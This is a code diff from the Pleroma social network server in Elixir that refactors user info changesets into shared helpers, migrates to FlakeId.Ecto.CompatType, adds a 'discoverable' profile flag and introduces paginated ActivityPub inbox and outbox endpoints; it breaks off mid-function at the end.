field(:provider, :string)
field(:uid, :string)
field(:info, :map, default: %{})

View file

@ -17,7 +17,7 @@ defmodule Pleroma.ScheduledActivity do
@min_offset :timer.minutes(5)
schema "scheduled_activities" do
belongs_to(:user, User, type: Pleroma.FlakeId)
belongs_to(:user, User, type: FlakeId.Ecto.CompatType)
field(:scheduled_at, :naive_datetime)
field(:params, :map)

View file

@ -12,7 +12,7 @@ defmodule Pleroma.ThreadMute do
require Ecto.Query
schema "thread_mutes" do
belongs_to(:user, User, type: Pleroma.FlakeId)
belongs_to(:user, User, type: FlakeId.Ecto.CompatType)
field(:context, :string)
end
@ -24,7 +24,7 @@ defmodule Pleroma.ThreadMute do
end
def query(user_id, context) do
user_id = Pleroma.FlakeId.from_string(user_id)
{:ok, user_id} = FlakeId.Ecto.CompatType.dump(user_id)
ThreadMute
|> Ecto.Query.where(user_id: ^user_id)

View file

@ -34,7 +34,7 @@ defmodule Pleroma.User do
@type t :: %__MODULE__{}
@primary_key {:id, Pleroma.FlakeId, autogenerate: true}
@primary_key {:id, FlakeId.Ecto.CompatType, autogenerate: true}
# credo:disable-for-next-line Credo.Check.Readability.MaxLineLength
@email_regex ~r/^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/
@ -106,9 +106,7 @@ defmodule Pleroma.User do
def profile_url(%User{ap_id: ap_id}), do: ap_id
def profile_url(_), do: nil
def ap_id(%User{nickname: nickname}) do
"#{Web.base_url()}/users/#{nickname}"
end
def ap_id(%User{nickname: nickname}), do: "#{Web.base_url()}/users/#{nickname}"
def ap_followers(%User{follower_address: fa}) when is_binary(fa), do: fa
def ap_followers(%User{} = user), do: "#{ap_id(user)}/followers"
@ -119,12 +117,9 @@ defmodule Pleroma.User do
def user_info(%User{} = user, args \\ %{}) do
following_count =
if args[:following_count],
do: args[:following_count],
else: user.info.following_count || following_count(user)
Map.get(args, :following_count, user.info.following_count || following_count(user))
follower_count =
if args[:follower_count], do: args[:follower_count], else: user.info.follower_count
follower_count = Map.get(args, :follower_count, user.info.follower_count)
%{
note_count: user.info.note_count,
@ -137,12 +132,11 @@ defmodule Pleroma.User do
end
def follow_state(%User{} = user, %User{} = target) do
follow_activity = Utils.fetch_latest_follow(user, target)
if follow_activity,
do: follow_activity.data["state"],
case Utils.fetch_latest_follow(user, target) do
%{data: %{"state" => state}} -> state
# Ideally this would be nil, but then Cachex does not commit the value
else: false
_ -> false
end
end
def get_cached_follow_state(user, target) do
@ -152,11 +146,7 @@ defmodule Pleroma.User do
@spec set_follow_state_cache(String.t(), String.t(), String.t()) :: {:ok | :error, boolean()}
def set_follow_state_cache(user_ap_id, target_ap_id, state) do
Cachex.put(
:user_cache,
"follow_state:#{user_ap_id}|#{target_ap_id}",
state
)
Cachex.put(:user_cache, "follow_state:#{user_ap_id}|#{target_ap_id}", state)
end
def set_info_cache(user, args) do
@ -197,34 +187,25 @@ defmodule Pleroma.User do
|> truncate_if_exists(:name, name_limit)
|> truncate_if_exists(:bio, bio_limit)
info_cng = User.Info.remote_user_creation(%User.Info{}, params[:info])
changes =
%User{}
changeset =
%User{local: false}
|> cast(params, [:bio, :name, :ap_id, :nickname, :avatar])
|> validate_required([:name, :ap_id])
|> unique_constraint(:nickname)
|> validate_format(:nickname, @email_regex)
|> validate_length(:bio, max: bio_limit)
|> validate_length(:name, max: name_limit)
|> put_change(:local, false)
|> put_embed(:info, info_cng)
|> change_info(&User.Info.remote_user_creation(&1, params[:info]))
if changes.valid? do
case info_cng.changes[:source_data] do
case params[:info][:source_data] do
%{"followers" => followers, "following" => following} ->
changes
changeset
|> put_change(:follower_address, followers)
|> put_change(:following_address, following)
_ ->
followers = User.ap_followers(%User{nickname: changes.changes[:nickname]})
changes
|> put_change(:follower_address, followers)
end
else
changes
followers = ap_followers(%User{nickname: get_field(changeset, :nickname)})
put_change(changeset, :follower_address, followers)
end
end
@ -245,7 +226,6 @@ defmodule Pleroma.User do
name_limit = Pleroma.Config.get([:instance, :user_name_length], 100)
params = Map.put(params, :last_refreshed_at, NaiveDateTime.utc_now())
info_cng = User.Info.user_upgrade(struct.info, params[:info], remote?)
struct
|> cast(params, [
@ -260,7 +240,7 @@ defmodule Pleroma.User do
|> validate_format(:nickname, local_nickname_regex())
|> validate_length(:bio, max: bio_limit)
|> validate_length(:name, max: name_limit)
|> put_embed(:info, info_cng)
|> change_info(&User.Info.user_upgrade(&1, params[:info], remote?))
end
def password_update_changeset(struct, params) do
@ -311,10 +291,6 @@ defmodule Pleroma.User do
opts[:need_confirmation]
end
info_change =
User.Info.confirmation_changeset(%User.Info{}, need_confirmation: need_confirmation?)
changeset =
struct
|> cast(params, [:bio, :email, :name, :nickname, :password, :password_confirmation])
|> validate_required([:name, :nickname, :password, :password_confirmation])
@ -326,28 +302,28 @@ defmodule Pleroma.User do
|> validate_format(:email, @email_regex)
|> validate_length(:bio, max: bio_limit)
|> validate_length(:name, min: 1, max: name_limit)
|> put_change(:info, info_change)
changeset =
if opts[:external] do
changeset
else
validate_required(changeset, [:email])
|> change_info(&User.Info.confirmation_changeset(&1, need_confirmation: need_confirmation?))
|> maybe_validate_required_email(opts[:external])
|> put_password_hash
|> put_ap_id()
|> unique_constraint(:ap_id)
|> put_following_and_follower_address()
end
if changeset.valid? do
ap_id = User.ap_id(%User{nickname: changeset.changes[:nickname]})
followers = User.ap_followers(%User{nickname: changeset.changes[:nickname]})
def maybe_validate_required_email(changeset, true), do: changeset
def maybe_validate_required_email(changeset, _), do: validate_required(changeset, [:email])
defp put_ap_id(changeset) do
ap_id = ap_id(%User{nickname: get_field(changeset, :nickname)})
put_change(changeset, :ap_id, ap_id)
end
defp put_following_and_follower_address(changeset) do
followers = ap_followers(%User{nickname: get_field(changeset, :nickname)})
changeset
|> put_password_hash
|> put_change(:ap_id, ap_id)
|> unique_constraint(:ap_id)
|> put_change(:following, [followers])
|> put_change(:follower_address, followers)
else
changeset
end
end
defp autofollow_users(user) do
@ -362,9 +338,8 @@ defmodule Pleroma.User do
@doc "Inserts provided changeset, performs post-registration actions (confirmation email sending etc.)"
def register(%Ecto.Changeset{} = changeset) do
with {:ok, user} <- Repo.insert(changeset),
{:ok, user} <- post_register_action(user) do
{:ok, user}
with {:ok, user} <- Repo.insert(changeset) do
post_register_action(user)
end
end
@ -410,7 +385,7 @@ defmodule Pleroma.User do
end
def maybe_direct_follow(%User{} = follower, %User{} = followed) do
if not User.ap_enabled?(followed) do
if not ap_enabled?(followed) do
follow(follower, followed)
else
{:ok, follower}
@ -443,9 +418,7 @@ defmodule Pleroma.User do
{1, [follower]} = Repo.update_all(q, [])
Enum.each(followeds, fn followed ->
update_follower_count(followed)
end)
Enum.each(followeds, &update_follower_count/1)
set_cache(follower)
end
@ -560,8 +533,6 @@ defmodule Pleroma.User do
def update_and_set_cache(changeset) do
with {:ok, user} <- Repo.update(changeset, stale_error_field: :id) do
set_cache(user)
else
e -> e
end
end
@ -598,9 +569,7 @@ defmodule Pleroma.User do
key = "nickname:#{nickname}"
Cachex.fetch!(:user_cache, key, fn ->
user_result = get_or_fetch_by_nickname(nickname)
case user_result do
case get_or_fetch_by_nickname(nickname) do
{:ok, user} -> {:commit, user}
{:error, _error} -> {:ignore, nil}
end
@ -611,7 +580,7 @@ defmodule Pleroma.User do
restrict_to_local = Pleroma.Config.get([:instance, :limit_to_local_content])
cond do
is_integer(nickname_or_id) or Pleroma.FlakeId.is_flake_id?(nickname_or_id) ->
is_integer(nickname_or_id) or FlakeId.flake_id?(nickname_or_id) ->
get_cached_by_id(nickname_or_id) || get_cached_by_nickname(nickname_or_id)
restrict_to_local == false ->
@ -640,13 +609,11 @@ defmodule Pleroma.User do
def get_cached_user_info(user) do
key = "user_info:#{user.id}"
Cachex.fetch!(:user_cache, key, fn _ -> user_info(user) end)
Cachex.fetch!(:user_cache, key, fn -> user_info(user) end)
end
def fetch_by_nickname(nickname) do
ap_try = ActivityPub.make_user_from_nickname(nickname)
case ap_try do
case ActivityPub.make_user_from_nickname(nickname) do
{:ok, user} -> {:ok, user}
_ -> OStatus.make_user(nickname)
end
@ -681,7 +648,8 @@ defmodule Pleroma.User do
end
def get_followers_query(user, page) do
from(u in get_followers_query(user, nil))
user
|> get_followers_query(nil)
|> User.Query.paginate(page, 20)
end
@ -690,25 +658,24 @@ defmodule Pleroma.User do
@spec get_followers(User.t(), pos_integer()) :: {:ok, list(User.t())}
def get_followers(user, page \\ nil) do
q = get_followers_query(user, page)
{:ok, Repo.all(q)}
user
|> get_followers_query(page)
|> Repo.all()
end
@spec get_external_followers(User.t(), pos_integer()) :: {:ok, list(User.t())}
def get_external_followers(user, page \\ nil) do
q =
user
|> get_followers_query(page)
|> User.Query.build(%{external: true})
{:ok, Repo.all(q)}
|> Repo.all()
end
def get_followers_ids(user, page \\ nil) do
q = get_followers_query(user, page)
Repo.all(from(u in q, select: u.id))
user
|> get_followers_query(page)
|> select([u], u.id)
|> Repo.all()
end
@spec get_friends_query(User.t(), pos_integer() | nil) :: Ecto.Query.t()
@ -717,7 +684,8 @@ defmodule Pleroma.User do
end
def get_friends_query(user, page) do
from(u in get_friends_query(user, nil))
user
|> get_friends_query(nil)
|> User.Query.paginate(page, 20)
end
@ -725,28 +693,27 @@ defmodule Pleroma.User do
def get_friends_query(user), do: get_friends_query(user, nil)
def get_friends(user, page \\ nil) do
q = get_friends_query(user, page)
{:ok, Repo.all(q)}
user
|> get_friends_query(page)
|> Repo.all()
end
def get_friends_ids(user, page \\ nil) do
q = get_friends_query(user, page)
Repo.all(from(u in q, select: u.id))
user
|> get_friends_query(page)
|> select([u], u.id)
|> Repo.all()
end
@spec get_follow_requests(User.t()) :: {:ok, [User.t()]}
def get_follow_requests(%User{} = user) do
users =
Activity.follow_requests_for_actor(user)
user
|> Activity.follow_requests_for_actor()
|> join(:inner, [a], u in User, on: a.actor == u.ap_id)
|> where([a, u], not fragment("? @> ?", u.following, ^[user.follower_address]))
|> group_by([a, u], u.id)
|> select([a, u], u)
|> Repo.all()
{:ok, users}
end
def increase_note_count(%User{} = user) do
@ -792,21 +759,15 @@ defmodule Pleroma.User do
end
def update_note_count(%User{} = user) do
note_count_query =
note_count =
from(
a in Object,
where: fragment("?->>'actor' = ? and ?->>'type' = 'Note'", a.data, ^user.ap_id, a.data),
select: count(a.id)
)
|> Repo.one()
note_count = Repo.one(note_count_query)
info_cng = User.Info.set_note_count(user.info, note_count)
user
|> change()
|> put_embed(:info, info_cng)
|> update_and_set_cache()
update_info(user, &User.Info.set_note_count(&1, note_count))
end
def update_mascot(user, url) do
@ -836,17 +797,7 @@ defmodule Pleroma.User do
def fetch_follow_information(user) do
with {:ok, info} <- ActivityPub.fetch_follow_information_for_user(user) do
info_cng = User.Info.follow_information_update(user.info, info)
changeset =
user
|> change()
|> put_embed(:info, info_cng)
update_and_set_cache(changeset)
else
{:error, _} = e -> e
e -> {:error, e}
update_info(user, &User.Info.follow_information_update(&1, info))
end
end
@ -920,60 +871,28 @@ defmodule Pleroma.User do
@spec mute(User.t(), User.t(), boolean()) :: {:ok, User.t()} | {:error, String.t()}
def mute(muter, %User{ap_id: ap_id}, notifications? \\ true) do
info = muter.info
info_cng =
User.Info.add_to_mutes(info, ap_id)
|> User.Info.add_to_muted_notifications(info, ap_id, notifications?)
cng =
change(muter)
|> put_embed(:info, info_cng)
update_and_set_cache(cng)
update_info(muter, &User.Info.add_to_mutes(&1, ap_id, notifications?))
end
def unmute(muter, %{ap_id: ap_id}) do
info = muter.info
info_cng =
User.Info.remove_from_mutes(info, ap_id)
|> User.Info.remove_from_muted_notifications(info, ap_id)
cng =
change(muter)
|> put_embed(:info, info_cng)
update_and_set_cache(cng)
update_info(muter, &User.Info.remove_from_mutes(&1, ap_id))
end
def subscribe(subscriber, %{ap_id: ap_id}) do
with %User{} = subscribed <- get_cached_by_ap_id(ap_id) do
deny_follow_blocked = Pleroma.Config.get([:user, :deny_follow_blocked])
with %User{} = subscribed <- get_cached_by_ap_id(ap_id) do
blocked = blocks?(subscribed, subscriber) and deny_follow_blocked
if blocked do
if blocks?(subscribed, subscriber) and deny_follow_blocked do
{:error, "Could not subscribe: #{subscribed.nickname} is blocking you"}
else
info_cng =
subscribed.info
|> User.Info.add_to_subscribers(subscriber.ap_id)
change(subscribed)
|> put_embed(:info, info_cng)
|> update_and_set_cache()
update_info(subscribed, &User.Info.add_to_subscribers(&1, subscriber.ap_id))
end
end
end
def unsubscribe(unsubscriber, %{ap_id: ap_id}) do
with %User{} = user <- get_cached_by_ap_id(ap_id) do
info_cng = User.Info.remove_from_subscribers(user.info, unsubscriber.ap_id)
change(user)
|> put_embed(:info, info_cng)
|> update_and_set_cache()
update_info(user, &User.Info.remove_from_subscribers(&1, unsubscriber.ap_id))
end
end
@ -1002,21 +921,11 @@ defmodule Pleroma.User do
blocker
end
if following?(blocked, blocker) do
unfollow(blocked, blocker)
end
if following?(blocked, blocker), do: unfollow(blocked, blocker)
{:ok, blocker} = update_follower_count(blocker)
info_cng =
blocker.info
|> User.Info.add_to_block(ap_id)
cng =
change(blocker)
|> put_embed(:info, info_cng)
update_and_set_cache(cng)
update_info(blocker, &User.Info.add_to_block(&1, ap_id))
end
# helper to handle the block given only an actor's AP id
@ -1025,15 +934,7 @@ defmodule Pleroma.User do
end
def unblock(blocker, %{ap_id: ap_id}) do
info_cng =
blocker.info
|> User.Info.remove_from_block(ap_id)
cng =
change(blocker)
|> put_embed(:info, info_cng)
update_and_set_cache(cng)
update_info(blocker, &User.Info.remove_from_block(&1, ap_id))
end
def mutes?(nil, _), do: false
@ -1090,27 +991,11 @@ defmodule Pleroma.User do
end
def block_domain(user, domain) do
info_cng =
user.info
|> User.Info.add_to_domain_block(domain)
cng =
change(user)
|> put_embed(:info, info_cng)
update_and_set_cache(cng)
update_info(user, &User.Info.add_to_domain_block(&1, domain))
end
def unblock_domain(user, domain) do
info_cng =
user.info
|> User.Info.remove_from_domain_block(domain)
cng =
change(user)
|> put_embed(:info, info_cng)
update_and_set_cache(cng)
update_info(user, &User.Info.remove_from_domain_block(&1, domain))
end
def deactivate_async(user, status \\ true) do
@ -1118,28 +1003,16 @@ defmodule Pleroma.User do
end
def deactivate(%User{} = user, status \\ true) do
info_cng = User.Info.set_activation_status(user.info, status)
with {:ok, friends} <- User.get_friends(user),
{:ok, followers} <- User.get_followers(user),
{:ok, user} <-
user
|> change()
|> put_embed(:info, info_cng)
|> update_and_set_cache() do
Enum.each(followers, &invalidate_cache(&1))
Enum.each(friends, &update_follower_count(&1))
with {:ok, user} <- update_info(user, &User.Info.set_activation_status(&1, status)) do
Enum.each(get_followers(user), &invalidate_cache/1)
Enum.each(get_friends(user), &update_follower_count/1)
{:ok, user}
end
end
def update_notification_settings(%User{} = user, settings \\ %{}) do
info_changeset = User.Info.update_notification_settings(user.info, settings)
change(user)
|> put_embed(:info, info_changeset)
|> update_and_set_cache()
update_info(user, &User.Info.update_notification_settings(&1, settings))
end
def delete(%User{} = user) do
@ -1153,18 +1026,18 @@ defmodule Pleroma.User do
{:ok, _user} = ActivityPub.delete(user)
# Remove all relationships
{:ok, followers} = User.get_followers(user)
Enum.each(followers, fn follower ->
user
|> get_followers()
|> Enum.each(fn follower ->
ActivityPub.unfollow(follower, user)
User.unfollow(follower, user)
unfollow(follower, user)
end)
{:ok, friends} = User.get_friends(user)
Enum.each(friends, fn followed ->
user
|> get_friends()
|> Enum.each(fn followed ->
ActivityPub.unfollow(user, followed)
User.unfollow(user, followed)
unfollow(user, followed)
end)
delete_user_activities(user)
@ -1176,13 +1049,11 @@ defmodule Pleroma.User do
def perform(:fetch_initial_posts, %User{} = user) do
pages = Pleroma.Config.get!([:fetch_initial_posts, :pages])
Enum.each(
# Insert all the posts in reverse order, so they're in the right order on the timeline
Enum.reverse(Utils.fetch_ordered_collection(user.info.source_data["outbox"], pages)),
&Pleroma.Web.Federator.incoming_ap_doc/1
)
{:ok, user}
user.info.source_data["outbox"]
|> Utils.fetch_ordered_collection(pages)
|> Enum.reverse()
|> Enum.each(&Pleroma.Web.Federator.incoming_ap_doc/1)
end
def perform(:deactivate_async, user, status), do: deactivate(user, status)
@ -1268,16 +1139,12 @@ defmodule Pleroma.User do
})
end
def delete_user_activities(%User{ap_id: ap_id} = user) do
def delete_user_activities(%User{ap_id: ap_id}) do
ap_id
|> Activity.Queries.by_actor()
|> RepoStreamer.chunk_stream(50)
|> Stream.each(fn activities ->
Enum.each(activities, &delete_activity(&1))
end)
|> Stream.each(fn activities -> Enum.each(activities, &delete_activity/1) end)
|> Stream.run()
{:ok, user}
end
defp delete_activity(%{data: %{"type" => "Create"}} = activity) do
@ -1287,17 +1154,19 @@ defmodule Pleroma.User do
end
defp delete_activity(%{data: %{"type" => "Like"}} = activity) do
user = get_cached_by_ap_id(activity.actor)
object = Object.normalize(activity)
ActivityPub.unlike(user, object)
activity.actor
|> get_cached_by_ap_id()
|> ActivityPub.unlike(object)
end
defp delete_activity(%{data: %{"type" => "Announce"}} = activity) do
user = get_cached_by_ap_id(activity.actor)
object = Object.normalize(activity)
ActivityPub.unannounce(user, object)
activity.actor
|> get_cached_by_ap_id()
|> ActivityPub.unannounce(object)
end
defp delete_activity(_activity), do: "Doing nothing"
@ -1309,9 +1178,7 @@ defmodule Pleroma.User do
def html_filter_policy(_), do: Pleroma.Config.get([:markup, :scrub_policy])
def fetch_by_ap_id(ap_id) do
ap_try = ActivityPub.make_user_from_ap_id(ap_id)
case ap_try do
case ActivityPub.make_user_from_ap_id(ap_id) do
{:ok, user} ->
{:ok, user}
@ -1326,7 +1193,7 @@ defmodule Pleroma.User do
def get_or_fetch_by_ap_id(ap_id) do
user = get_cached_by_ap_id(ap_id)
if !is_nil(user) and !User.needs_update?(user) do
if !is_nil(user) and !needs_update?(user) do
{:ok, user}
else
# Whether to fetch initial posts for the user (if it's a new user & the fetching is enabled)
@ -1346,18 +1213,19 @@ defmodule Pleroma.User do
@doc "Creates an internal service actor by URI if missing. Optionally takes nickname for addressing."
def get_or_create_service_actor_by_ap_id(uri, nickname \\ nil) do
if user = get_cached_by_ap_id(uri) do
with %User{} = user <- get_cached_by_ap_id(uri) do
user
else
changes =
_ ->
{:ok, user} =
%User{info: %User.Info{}}
|> cast(%{}, [:ap_id, :nickname, :local])
|> put_change(:ap_id, uri)
|> put_change(:nickname, nickname)
|> put_change(:local, true)
|> put_change(:follower_address, uri <> "/followers")
|> Repo.insert()
{:ok, user} = Repo.insert(changes)
user
end
end
@ -1415,23 +1283,21 @@ defmodule Pleroma.User do
# this is because we have synchronous follow APIs and need to simulate them
# with an async handshake
def wait_and_refresh(_, %User{local: true} = a, %User{local: true} = b) do
with %User{} = a <- User.get_cached_by_id(a.id),
%User{} = b <- User.get_cached_by_id(b.id) do
with %User{} = a <- get_cached_by_id(a.id),
%User{} = b <- get_cached_by_id(b.id) do
{:ok, a, b}
else
_e ->
:error
nil -> :error
end
end
def wait_and_refresh(timeout, %User{} = a, %User{} = b) do
with :ok <- :timer.sleep(timeout),
%User{} = a <- User.get_cached_by_id(a.id),
%User{} = b <- User.get_cached_by_id(b.id) do
%User{} = a <- get_cached_by_id(a.id),
%User{} = b <- get_cached_by_id(b.id) do
{:ok, a, b}
else
_e ->
:error
nil -> :error
end
end
@ -1493,7 +1359,7 @@ defmodule Pleroma.User do
defp normalize_tags(tags) do
[tags]
|> List.flatten()
|> Enum.map(&String.downcase(&1))
|> Enum.map(&String.downcase/1)
end
defp local_nickname_regex do
@ -1586,11 +1452,7 @@ defmodule Pleroma.User do
@spec switch_email_notifications(t(), String.t(), boolean()) ::
{:ok, t()} | {:error, Ecto.Changeset.t()}
def switch_email_notifications(user, type, status) do
info = Pleroma.User.Info.update_email_notifications(user.info, %{type => status})
change(user)
|> put_embed(:info, info)
|> update_and_set_cache()
update_info(user, &User.Info.update_email_notifications(&1, %{type => status}))
end
@doc """
@ -1612,13 +1474,8 @@ defmodule Pleroma.User do
def toggle_confirmation(%User{} = user) do
need_confirmation? = !user.info.confirmation_pending
info_changeset =
User.Info.confirmation_changeset(user.info, need_confirmation: need_confirmation?)
user
|> change()
|> put_embed(:info, info_changeset)
|> update_and_set_cache()
|> update_info(&User.Info.confirmation_changeset(&1, need_confirmation: need_confirmation?))
end
def get_mascot(%{info: %{mascot: %{} = mascot}}) when not is_nil(mascot) do
@ -1641,16 +1498,11 @@ defmodule Pleroma.User do
}
end
def ensure_keys_present(%User{info: info} = user) do
if info.keys do
{:ok, user}
else
{:ok, pem} = Keys.generate_rsa_pem()
def ensure_keys_present(%{info: %{keys: keys}} = user) when not is_nil(keys), do: {:ok, user}
user
|> Ecto.Changeset.change()
|> Ecto.Changeset.put_embed(:info, User.Info.set_keys(info, pem))
|> update_and_set_cache()
def ensure_keys_present(%User{} = user) do
with {:ok, pem} <- Keys.generate_rsa_pem() do
update_info(user, &User.Info.set_keys(&1, pem))
end
end
@ -1696,4 +1548,26 @@ defmodule Pleroma.User do
|> validate_format(:email, @email_regex)
|> update_and_set_cache()
end
@doc """
Changes `user.info` and returns the user changeset.
`fun` is called with the `user.info`.
"""
def change_info(user, fun) do
changeset = change(user)
info = get_field(changeset, :info) || %User.Info{}
put_embed(changeset, :info, fun.(info))
end
@doc """
Updates `user.info` and sets cache.
`fun` is called with the `user.info`.
"""
def update_info(user, fun) do
user
|> change_info(fun)
|> update_and_set_cache()
end
end

View file

@ -54,6 +54,7 @@ defmodule Pleroma.User.Info do
field(:pleroma_settings_store, :map, default: %{})
field(:fields, {:array, :map}, default: nil)
field(:raw_fields, {:array, :map}, default: [])
field(:discoverable, :boolean, default: false)
field(:notification_settings, :map,
default: %{
@ -187,16 +188,11 @@ defmodule Pleroma.User.Info do
|> validate_required([:subscribers])
end
@spec add_to_mutes(Info.t(), String.t()) :: Changeset.t()
def add_to_mutes(info, muted) do
set_mutes(info, Enum.uniq([muted | info.mutes]))
end
@spec add_to_muted_notifications(Changeset.t(), Info.t(), String.t(), boolean()) ::
Changeset.t()
def add_to_muted_notifications(changeset, info, muted, notifications?) do
set_notification_mutes(
changeset,
@spec add_to_mutes(Info.t(), String.t(), boolean()) :: Changeset.t()
def add_to_mutes(info, muted, notifications?) do
info
|> set_mutes(Enum.uniq([muted | info.mutes]))
|> set_notification_mutes(
Enum.uniq([muted | info.muted_notifications]),
notifications?
)
@ -204,12 +200,9 @@ defmodule Pleroma.User.Info do
@spec remove_from_mutes(Info.t(), String.t()) :: Changeset.t()
def remove_from_mutes(info, muted) do
set_mutes(info, List.delete(info.mutes, muted))
end
@spec remove_from_muted_notifications(Changeset.t(), Info.t(), String.t()) :: Changeset.t()
def remove_from_muted_notifications(changeset, info, muted) do
set_notification_mutes(changeset, List.delete(info.muted_notifications, muted), true)
info
|> set_mutes(List.delete(info.mutes, muted))
|> set_notification_mutes(List.delete(info.muted_notifications, muted), true)
end
def add_to_block(info, blocked) do
@ -277,7 +270,8 @@ defmodule Pleroma.User.Info do
:hide_follows_count,
:follower_count,
:fields,
:following_count
:following_count,
:discoverable
])
|> validate_fields(true)
end
@ -295,6 +289,7 @@ defmodule Pleroma.User.Info do
:hide_follows,
:fields,
:hide_followers,
:discoverable,
:hide_followers_count,
:hide_follows_count
])
@ -318,7 +313,8 @@ defmodule Pleroma.User.Info do
:skip_thread_containment,
:fields,
:raw_fields,
:pleroma_settings_store
:pleroma_settings_store,
:discoverable
])
|> validate_fields()
end

View file

@ -510,7 +510,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPub do
end
@spec fetch_latest_activity_id_for_context(String.t(), keyword() | map()) ::
Pleroma.FlakeId.t() | nil
FlakeId.Ecto.CompatType.t() | nil
def fetch_latest_activity_id_for_context(context, opts \\ %{}) do
context
|> fetch_activities_for_context_query(Map.merge(%{"skip_preload" => true}, opts))
@ -519,13 +519,13 @@ defmodule Pleroma.Web.ActivityPub.ActivityPub do
|> Repo.one()
end
def fetch_public_activities(opts \\ %{}) do
def fetch_public_activities(opts \\ %{}, pagination \\ :keyset) do
opts = Map.drop(opts, ["user"])
[Pleroma.Constants.as_public()]
|> fetch_activities_query(opts)
|> restrict_unlisted()
|> Pagination.fetch_paginated(opts)
|> Pagination.fetch_paginated(opts, pagination)
|> Enum.reverse()
end
@ -834,7 +834,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPub do
defp restrict_muted_reblogs(query, _), do: query
defp exclude_poll_votes(query, %{"include_poll_votes" => "true"}), do: query
defp exclude_poll_votes(query, %{"include_poll_votes" => true}), do: query
defp exclude_poll_votes(query, _) do
if has_named_binding?(query, :object) do
@ -918,11 +918,11 @@ defmodule Pleroma.Web.ActivityPub.ActivityPub do
|> exclude_poll_votes(opts)
end
def fetch_activities(recipients, opts \\ %{}) do
def fetch_activities(recipients, opts \\ %{}, pagination \\ :keyset) do
list_memberships = Pleroma.List.memberships(opts["user"])
fetch_activities_query(recipients ++ list_memberships, opts)
|> Pagination.fetch_paginated(opts)
|> Pagination.fetch_paginated(opts, pagination)
|> Enum.reverse()
|> maybe_update_cc(list_memberships, opts["user"])
end
@ -953,10 +953,15 @@ defmodule Pleroma.Web.ActivityPub.ActivityPub do
)
end
def fetch_activities_bounded(recipients, recipients_with_public, opts \\ %{}) do
def fetch_activities_bounded(
recipients,
recipients_with_public,
opts \\ %{},
pagination \\ :keyset
) do
fetch_activities_query([], opts)
|> fetch_activities_bounded_query(recipients, recipients_with_public)
|> Pagination.fetch_paginated(opts)
|> Pagination.fetch_paginated(opts, pagination)
|> Enum.reverse()
end
@ -996,6 +1001,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPub do
locked = data["manuallyApprovesFollowers"] || false
data = Transmogrifier.maybe_fix_user_object(data)
discoverable = data["discoverable"] || false
user_data = %{
ap_id: data["id"],
@ -1004,7 +1010,8 @@ defmodule Pleroma.Web.ActivityPub.ActivityPub do
source_data: data,
banner: banner,
fields: fields,
locked: locked
locked: locked,
discoverable: discoverable
},
avatar: avatar,
name: data["name"],

View file

@ -231,13 +231,43 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubController do
end
end
def outbox(conn, %{"nickname" => nickname} = params) do
def outbox(conn, %{"nickname" => nickname, "page" => page?} = params)
when page? in [true, "true"] do
with %User{} = user <- User.get_cached_by_nickname(nickname),
{:ok, user} <- User.ensure_keys_present(user) do
activities =
if params["max_id"] do
ActivityPub.fetch_user_activities(user, nil, %{
"max_id" => params["max_id"],
# This is a hack because postgres generates inefficient queries when filtering by
# 'Answer', poll votes will be hidden by the visibility filter in this case anyway
"include_poll_votes" => true,
"limit" => 10
})
else
ActivityPub.fetch_user_activities(user, nil, %{
"limit" => 10,
"include_poll_votes" => true
})
end
conn
|> put_resp_content_type("application/activity+json")
|> put_view(UserView)
|> render("activity_collection_page.json", %{
activities: activities,
iri: "#{user.ap_id}/outbox"
})
end
end
def outbox(conn, %{"nickname" => nickname}) do
with %User{} = user <- User.get_cached_by_nickname(nickname),
{:ok, user} <- User.ensure_keys_present(user) do
conn
|> put_resp_content_type("application/activity+json")
|> put_view(UserView)
|> render("outbox.json", %{user: user, max_id: params["max_id"]})
|> render("activity_collection.json", %{iri: "#{user.ap_id}/outbox"})
end
end
@ -315,12 +345,37 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubController do
def read_inbox(
%{assigns: %{user: %{nickname: nickname} = user}} = conn,
%{"nickname" => nickname} = params
) do
%{"nickname" => nickname, "page" => page?} = params
)
when page? in [true, "true"] do
activities =
if params["max_id"] do
ActivityPub.fetch_activities([user.ap_id | user.following], %{
"max_id" => params["max_id"],
"limit" => 10
})
else
ActivityPub.fetch_activities([user.ap_id | user.following], %{"limit" => 10})
end
conn
|> put_resp_content_type("application/activity+json")
|> put_view(UserView)
|> render("inbox.json", user: user, max_id: params["max_id"])
|> render("activity_collection_page.json", %{
activities: activities,
iri: "#{user.ap_id}/inbox"
})
end
def read_inbox(%{assigns: %{user: %{nickname: nickname} = user}} = conn, %{
"nickname" => nickname
}) do
with {:ok, user} <- User.ensure_keys_present(user) do
conn
|> put_resp_content_type("application/activity+json")
|> put_view(UserView)
|> render("activity_collection.json", %{iri: "#{user.ap_id}/inbox"})
end
end
def read_inbox(%{assigns: %{user: nil}} = conn, %{"nickname" => nickname}) do

View file

@ -111,11 +111,11 @@ defmodule Pleroma.Web.ActivityPub.Publisher do
@spec recipients(User.t(), Activity.t()) :: list(User.t()) | []
defp recipients(actor, activity) do
{:ok, followers} =
followers =
if actor.follower_address in activity.recipients do
User.get_external_followers(actor)
else
{:ok, []}
[]
end
fetchers =

View file

@ -8,7 +8,6 @@ defmodule Pleroma.Web.ActivityPub.UserView do
alias Pleroma.Keys
alias Pleroma.Repo
alias Pleroma.User
alias Pleroma.Web.ActivityPub.ActivityPub
alias Pleroma.Web.ActivityPub.Transmogrifier
alias Pleroma.Web.ActivityPub.Utils
alias Pleroma.Web.Endpoint
@ -107,7 +106,8 @@ defmodule Pleroma.Web.ActivityPub.UserView do
},
"endpoints" => endpoints,
"attachment" => fields,
"tag" => (user.info.source_data["tag"] || []) ++ emoji_tags
"tag" => (user.info.source_data["tag"] || []) ++ emoji_tags,
"discoverable" => user.info.discoverable
}
|> Map.merge(maybe_make_image(&User.avatar_url/2, "icon", user))
|> Map.merge(maybe_make_image(&User.banner_url/2, "image", user))
@ -210,20 +210,16 @@ defmodule Pleroma.Web.ActivityPub.UserView do
|> Map.merge(Utils.make_json_ld_header())
end
def render("outbox.json", %{user: user, max_id: max_qid}) do
params = %{
"limit" => "10"
